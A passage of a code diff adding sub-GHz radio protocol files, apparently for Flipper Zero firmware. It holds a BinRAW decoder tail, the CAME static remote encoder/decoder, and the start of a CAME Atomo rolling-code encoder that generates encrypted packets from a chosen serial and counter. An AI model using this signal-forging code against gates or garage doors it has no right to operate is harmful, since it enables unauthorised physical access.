+        while(flipper_format_read_uint32(flipper_format, "Bit_RAW", (uint32_t*)&temp_data, 1)) {
+            if(ind >= BIN_RAW_MAX_MARKUP_COUNT) {
+                FURI_LOG_E(TAG, "Markup overflow");
+                res = SubGhzProtocolStatusErrorParserOthers;
+                break;
+            }
+            byte_count += subghz_protocol_bin_raw_get_full_byte(temp_data);
+            if(byte_count > BIN_RAW_BUF_DATA_SIZE) {
+                FURI_LOG_E(TAG, "Receive buffer overflow");
+                res = SubGhzProtocolStatusErrorParserOthers;
+                break;
+            }
+
+            instance->data_markup[ind].bit_count = temp_data;
+            instance->data_markup[ind].byte_bias = byte_bias;
+            byte_bias += subghz_protocol_bin_raw_get_full_byte(temp_data);
+
+            if(!flipper_format_read_hex(
+                   flipper_format,
+                   "Data_RAW",
+                   instance->data + instance->data_markup[ind].byte_bias,
+                   subghz_protocol_bin_raw_get_full_byte(temp_data))) {
+                instance->data_markup[ind].bit_count = 0;
+                FURI_LOG_E(TAG, "Missing Data_RAW");
+                res = SubGhzProtocolStatusErrorParserOthers;
+                break;
+            }
+            ind++;
+        }
+
+        res = SubGhzProtocolStatusOk;
+    } while(0);
+
+    return res;
+}
+
+void subghz_protocol_decoder_bin_raw_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBinRAW* instance = context;
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit);
+
+    uint16_t byte_count = subghz_protocol_bin_raw_get_full_byte(instance->generic.data_count_bit);
+    for(size_t i = 0; (byte_count < 36 ? i < byte_count : i < 36); i++) {
+        furi_string_cat_printf(output, "%02X", instance->data[i]);
+    }
+
+    furi_string_cat_printf(output, "\r\nTe:%luus\r\n", instance->te);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/bin_raw.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/bin_raw.h
new file mode 100644
index 000000000..26cc6ec3a
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/bin_raw.h
@@ -0,0 +1,110 @@
+#pragma once
+
+#include "base.h"
+#include "public_api.h"
+
+#define SUBGHZ_PROTOCOL_BIN_RAW_NAME "BinRAW"
+
+typedef struct SubGhzProtocolDecoderBinRAW SubGhzProtocolDecoderBinRAW;
+typedef struct SubGhzProtocolEncoderBinRAW SubGhzProtocolEncoderBinRAW;
+
+extern const SubGhzProtocolDecoder subghz_protocol_bin_raw_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_bin_raw_encoder;
+extern const SubGhzProtocol subghz_protocol_bin_raw;
+
+/**
+ * Allocate SubGhzProtocolEncoderBinRAW.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderBinRAW* pointer to a SubGhzProtocolEncoderBinRAW instance
+ */
+void* subghz_protocol_encoder_bin_raw_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderBinRAW.
+ * @param context Pointer to a SubGhzProtocolEncoderBinRAW instance
+ */
+void subghz_protocol_encoder_bin_raw_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderBinRAW instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_bin_raw_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderBinRAW instance
+ */
+void subghz_protocol_encoder_bin_raw_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderBinRAW instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_bin_raw_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderBinRAW.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderBinRAW* pointer to a SubGhzProtocolDecoderBinRAW instance
+ */
+void* subghz_protocol_decoder_bin_raw_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderBinRAW.
+ * @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
+ */
+void subghz_protocol_decoder_bin_raw_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderBinRAW.
+ * @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
+ */
+void subghz_protocol_decoder_bin_raw_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_bin_raw_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_bin_raw_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderBinRAW.
+ * @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_bin_raw_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderBinRAW.
+ * @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_bin_raw_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_bin_raw_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/came.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/came.c
new file mode 100644
index 000000000..04ea1767f
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/came.c
@@ -0,0 +1,386 @@
+#include "came.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+/*
+ * Help
+ * https://phreakerclub.com/447
+ *
+ */
+
+#define TAG "SubGhzProtocolCame"
+
+#define CAME_12_COUNT_BIT    12
+#define CAME_24_COUNT_BIT    24
+#define PRASTEL_25_COUNT_BIT 25
+#define PRASTEL_42_COUNT_BIT 42
+#define PRASTEL_NAME         "Prastel"
+#define AIRFORCE_COUNT_BIT   18
+#define AIRFORCE_NAME        "Airforce"
+
+static const SubGhzBlockConst subghz_protocol_came_const = {
+    .te_short = 320,
+    .te_long = 640,
+    .te_delta = 150,
+    .min_count_bit_for_found = 12,
+};
+
+struct SubGhzProtocolDecoderCame {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderCame {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    CameDecoderStepReset = 0,
+    CameDecoderStepFoundStartBit,
+    CameDecoderStepSaveDuration,
+    CameDecoderStepCheckDuration,
+} CameDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_came_decoder = {
+    .alloc = subghz_protocol_decoder_came_alloc,
+    .free = subghz_protocol_decoder_came_free,
+
+    .feed = subghz_protocol_decoder_came_feed,
+    .reset = subghz_protocol_decoder_came_reset,
+
+    .get_hash_data = subghz_protocol_decoder_came_get_hash_data,
+    .serialize = subghz_protocol_decoder_came_serialize,
+    .deserialize = subghz_protocol_decoder_came_deserialize,
+    .get_string = subghz_protocol_decoder_came_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_came_encoder = {
+    .alloc = subghz_protocol_encoder_came_alloc,
+    .free = subghz_protocol_encoder_came_free,
+
+    .deserialize = subghz_protocol_encoder_came_deserialize,
+    .stop = subghz_protocol_encoder_came_stop,
+    .yield = subghz_protocol_encoder_came_yield,
+};
+
+const SubGhzProtocol subghz_protocol_came = {
+    .name = SUBGHZ_PROTOCOL_CAME_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM |
+            SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
+            SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_came_decoder,
+    .encoder = &subghz_protocol_came_encoder,
+};
+
+void* subghz_protocol_encoder_came_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderCame* instance = malloc(sizeof(SubGhzProtocolEncoderCame));
+
+    instance->base.protocol = &subghz_protocol_came;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 128;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_came_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderCame* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderCame instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_came_get_upload(SubGhzProtocolEncoderCame* instance) {
+    furi_assert(instance);
+    uint32_t header_te = 0;
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+    //Send header
+
+    switch(instance->generic.data_count_bit) {
+    case CAME_24_COUNT_BIT:
+    case PRASTEL_42_COUNT_BIT:
+        // CAME 24 Bit = 24320 us
+        header_te = 76;
+        break;
+    case CAME_12_COUNT_BIT:
+    case AIRFORCE_COUNT_BIT:
+        // CAME 12 Bit Original only! and Airforce protocol = 15040 us
+        header_te = 47;
+        break;
+    case PRASTEL_25_COUNT_BIT:
+        // PRASTEL = 11520 us
+        header_te = 36;
+        break;
+    default:
+        // Some wrong detected protocols, 5120 us
+        header_te = 16;
+        break;
+    }
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_came_const.te_short * header_te);
+    //Send start bit
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_came_const.te_short);
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_came_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_came_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_came_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_came_const.te_long);
+        }
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_came_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderCame* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(instance->generic.data_count_bit > PRASTEL_42_COUNT_BIT) {
+            FURI_LOG_E(TAG, "Wrong number of bits in key");
+            ret = SubGhzProtocolStatusErrorValueBitCount;
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_came_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_came_stop(void* context) {
+    SubGhzProtocolEncoderCame* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_came_yield(void* context) {
+    SubGhzProtocolEncoderCame* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_came_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderCame* instance = malloc(sizeof(SubGhzProtocolDecoderCame));
+    instance->base.protocol = &subghz_protocol_came;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_came_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCame* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_came_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCame* instance = context;
+    instance->decoder.parser_step = CameDecoderStepReset;
+}
+
+void subghz_protocol_decoder_came_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCame* instance = context;
+    switch(instance->decoder.parser_step) {
+    case CameDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_came_const.te_short * 56) <
+                        subghz_protocol_came_const.te_delta * 63)) {
+            // 17920 us + 7050 us = 24970 us max possible value old one
+            // delta = 150 us x 63 = 9450 us + 17920 us = 27370 us max possible value
+            //Found header CAME
+            // 26700 us or 24000 us max possible values
+            instance->decoder.parser_step = CameDecoderStepFoundStartBit;
+        }
+        break;
+    case CameDecoderStepFoundStartBit:
+        if(!level) {
+            break;
+        } else if(
+            DURATION_DIFF(duration, subghz_protocol_came_const.te_short) <
+            subghz_protocol_came_const.te_delta) {
+            //Found start bit CAME
+            instance->decoder.parser_step = CameDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = CameDecoderStepReset;
+        }
+        break;
+    case CameDecoderStepSaveDuration:
+        if(!level) { //save interval
+            if(duration >= (subghz_protocol_came_const.te_short * 4)) {
+                instance->decoder.parser_step = CameDecoderStepFoundStartBit;
+                if((instance->decoder.decode_count_bit ==
+                    subghz_protocol_came_const.min_count_bit_for_found) ||
+                   (instance->decoder.decode_count_bit == AIRFORCE_COUNT_BIT) ||
+                   (instance->decoder.decode_count_bit == PRASTEL_25_COUNT_BIT) ||
+                   (instance->decoder.decode_count_bit == PRASTEL_42_COUNT_BIT) ||
+                   (instance->decoder.decode_count_bit == CAME_24_COUNT_BIT)) {
+                    instance->generic.serial = 0x0;
+                    instance->generic.btn = 0x0;
+
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                break;
+            }
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = CameDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = CameDecoderStepReset;
+        }
+        break;
+    case CameDecoderStepCheckDuration:
+        if(level) {
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_came_const.te_short) <
+                subghz_protocol_came_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_came_const.te_long) <
+                subghz_protocol_came_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = CameDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_came_const.te_long) <
+                 subghz_protocol_came_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_came_const.te_short) <
+                 subghz_protocol_came_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = CameDecoderStepSaveDuration;
+            } else
+                instance->decoder.parser_step = CameDecoderStepReset;
+        } else {
+            instance->decoder.parser_step = CameDecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_came_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCame* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_came_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCame* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_came_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCame* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(instance->generic.data_count_bit > PRASTEL_42_COUNT_BIT) {
+            FURI_LOG_E(TAG, "Wrong number of bits in key");
+            ret = SubGhzProtocolStatusErrorValueBitCount;
+            break;
+        }
+    } while(false);
+    return ret;
+}
+
+void subghz_protocol_decoder_came_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCame* instance = context;
+
+    uint32_t code_found_lo = instance->generic.data & 0x000003ffffffffff;
+
+    uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
+        instance->generic.data, instance->generic.data_count_bit);
+
+    uint32_t code_found_reverse_lo = code_found_reverse & 0x000003ffffffffff;
+
+    const char* name = instance->generic.protocol_name;
+    switch(instance->generic.data_count_bit) {
+    case PRASTEL_25_COUNT_BIT:
+    case PRASTEL_42_COUNT_BIT:
+        name = PRASTEL_NAME;
+        break;
+    case AIRFORCE_COUNT_BIT:
+        name = AIRFORCE_NAME;
+        break;
+    }
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:0x%08lX\r\n"
+        "Yek:0x%08lX\r\n",
+        name,
+        instance->generic.data_count_bit,
+        code_found_lo,
+        code_found_reverse_lo);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/came.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/came.h
new file mode 100644
index 000000000..fffa017ff
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/came.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_CAME_NAME "CAME"
+
+typedef struct SubGhzProtocolDecoderCame SubGhzProtocolDecoderCame;
+typedef struct SubGhzProtocolEncoderCame SubGhzProtocolEncoderCame;
+
+extern const SubGhzProtocolDecoder subghz_protocol_came_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_came_encoder;
+extern const SubGhzProtocol subghz_protocol_came;
+
+/**
+ * Allocate SubGhzProtocolEncoderCame.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderCame* pointer to a SubGhzProtocolEncoderCame instance
+ */
+void* subghz_protocol_encoder_came_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderCame.
+ * @param context Pointer to a SubGhzProtocolEncoderCame instance
+ */
+void subghz_protocol_encoder_came_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderCame instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_came_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderCame instance
+ */
+void subghz_protocol_encoder_came_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderCame instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_came_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderCame.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderCame* pointer to a SubGhzProtocolDecoderCame instance
+ */
+void* subghz_protocol_decoder_came_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderCame.
+ * @param context Pointer to a SubGhzProtocolDecoderCame instance
+ */
+void subghz_protocol_decoder_came_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderCame.
+ * @param context Pointer to a SubGhzProtocolDecoderCame instance
+ */
+void subghz_protocol_decoder_came_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderCame instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_came_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderCame instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_came_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderCame.
+ * @param context Pointer to a SubGhzProtocolDecoderCame instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_came_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderCame.
+ * @param context Pointer to a SubGhzProtocolDecoderCame instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_came_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderCame instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_came_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/came_atomo.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/came_atomo.c
new file mode 100644
index 000000000..bd21dafd1
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/came_atomo.c
@@ -0,0 +1,868 @@
+#include "came_atomo.h"
+#include <lib/toolbox/manchester_decoder.h>
+#include <lib/toolbox/manchester_encoder.h>
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#include "../blocks/custom_btn_i.h"
+
+#define TAG "SubGhzProtocoCameAtomo"
+
+//variable used to bypass CounterMode settings if user just change Counter or Button
+static bool bypass = false;
+
+static const SubGhzBlockConst subghz_protocol_came_atomo_const = {
+    .te_short = 600,
+    .te_long = 1200,
+    .te_delta = 250,
+    .min_count_bit_for_found = 62,
+};
+
+struct SubGhzProtocolDecoderCameAtomo {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    ManchesterState manchester_saved_state;
+};
+
+struct SubGhzProtocolEncoderCameAtomo {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    CameAtomoDecoderStepReset = 0,
+    CameAtomoDecoderStepDecoderData,
+} CameAtomoDecoderStep;
+
+static uint8_t came_atomo_counter_mode = 0;
+
+const SubGhzProtocolDecoder subghz_protocol_came_atomo_decoder = {
+    .alloc = subghz_protocol_decoder_came_atomo_alloc,
+    .free = subghz_protocol_decoder_came_atomo_free,
+
+    .feed = subghz_protocol_decoder_came_atomo_feed,
+    .reset = subghz_protocol_decoder_came_atomo_reset,
+
+    .get_hash_data = subghz_protocol_decoder_came_atomo_get_hash_data,
+    .serialize = subghz_protocol_decoder_came_atomo_serialize,
+    .deserialize = subghz_protocol_decoder_came_atomo_deserialize,
+    .get_string = subghz_protocol_decoder_came_atomo_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_came_atomo_encoder = {
+    .alloc = subghz_protocol_encoder_came_atomo_alloc,
+    .free = subghz_protocol_encoder_came_atomo_free,
+
+    .deserialize = subghz_protocol_encoder_came_atomo_deserialize,
+    .stop = subghz_protocol_encoder_came_atomo_stop,
+    .yield = subghz_protocol_encoder_came_atomo_yield,
+};
+
+const SubGhzProtocol subghz_protocol_came_atomo = {
+    .name = SUBGHZ_PROTOCOL_CAME_ATOMO_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_came_atomo_decoder,
+    .encoder = &subghz_protocol_came_atomo_encoder,
+};
+
+static void subghz_protocol_came_atomo_remote_controller(SubGhzBlockGeneric* instance);
+
+/**
+ * Defines the button value for the current btn_id
+ * Basic set | 0x0 | 0x2 | 0x4 | 0x6 |
+ * @return Button code
+ */
+static uint8_t subghz_protocol_came_atomo_get_btn_code(void);
+
+void* subghz_protocol_encoder_came_atomo_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderCameAtomo* instance = malloc(sizeof(SubGhzProtocolEncoderCameAtomo));
+
+    instance->base.protocol = &subghz_protocol_came_atomo;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 1;
+    instance->encoder.size_upload = 900; //actual size 766+
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_came_atomo_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderCameAtomo* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+static LevelDuration
+    subghz_protocol_encoder_came_atomo_add_duration_to_upload(ManchesterEncoderResult result) {
+    LevelDuration data = {.duration = 0, .level = 0};
+    switch(result) {
+    case ManchesterEncoderResultShortLow:
+        data.duration = subghz_protocol_came_atomo_const.te_short;
+        data.level = false;
+        break;
+    case ManchesterEncoderResultLongLow:
+        data.duration = subghz_protocol_came_atomo_const.te_long;
+        data.level = false;
+        break;
+    case ManchesterEncoderResultLongHigh:
+        data.duration = subghz_protocol_came_atomo_const.te_long;
+        data.level = true;
+        break;
+    case ManchesterEncoderResultShortHigh:
+        data.duration = subghz_protocol_came_atomo_const.te_short;
+        data.level = true;
+        break;
+
+    default:
+        FURI_LOG_E(TAG, "SubGhz: ManchesterEncoderResult is incorrect.");
+        break;
+    }
+    return level_duration_make(data.level, data.duration);
+}
+
+bool subghz_protocol_came_atomo_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint16_t cnt,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolEncoderCameAtomo* instance = context;
+    instance->generic.btn = 0x1;
+    instance->generic.serial = serial;
+    instance->generic.cnt = cnt;
+    instance->generic.cnt_2 = 0x7e;
+    instance->generic.data_count_bit = 62;
+    instance->generic.data_2 =
+        ((uint64_t)0x7e << 56 | (uint64_t)cnt << 40 | (uint64_t)serial << 8);
+
+    uint8_t pack[8] = {};
+
+    pack[0] = (instance->generic.cnt_2);
+    pack[1] = (instance->generic.cnt >> 8);
+    pack[2] = (instance->generic.cnt & 0xFF);
+    pack[3] = ((instance->generic.data_2 >> 32) & 0xFF);
+    pack[4] = ((instance->generic.data_2 >> 24) & 0xFF);
+    pack[5] = ((instance->generic.data_2 >> 16) & 0xFF);
+    pack[6] = ((instance->generic.data_2 >> 8) & 0xFF);
+    pack[7] = (instance->generic.data_2 & 0xFF);
+
+    atomo_encrypt(pack);
+    uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3];
+    uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7];
+    instance->generic.data = (uint64_t)hi << 32 | lo;
+
+    instance->generic.data ^= 0xFFFFFFFFFFFFFFFF;
+    instance->generic.data >>= 4;
+    instance->generic.data &= 0xFFFFFFFFFFFFFFF;
+
+    return SubGhzProtocolStatusOk ==
+           subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderCameAtomo instance
+ */
+static void subghz_protocol_encoder_came_atomo_get_upload(
+    SubGhzProtocolEncoderCameAtomo* instance,
+    uint8_t btn) {
+    furi_assert(instance);
+    size_t index = 0;
+
+    ManchesterEncoderState enc_state;
+    manchester_encoder_reset(&enc_state);
+    ManchesterEncoderResult result;
+
+    uint8_t pack[8] = {};
+
+    // if we change counter/button in SignalSettings menu then we must bypass counter_modes, just gen and save signal file.
+    if(subghz_block_generic_global.cnt_need_override ||
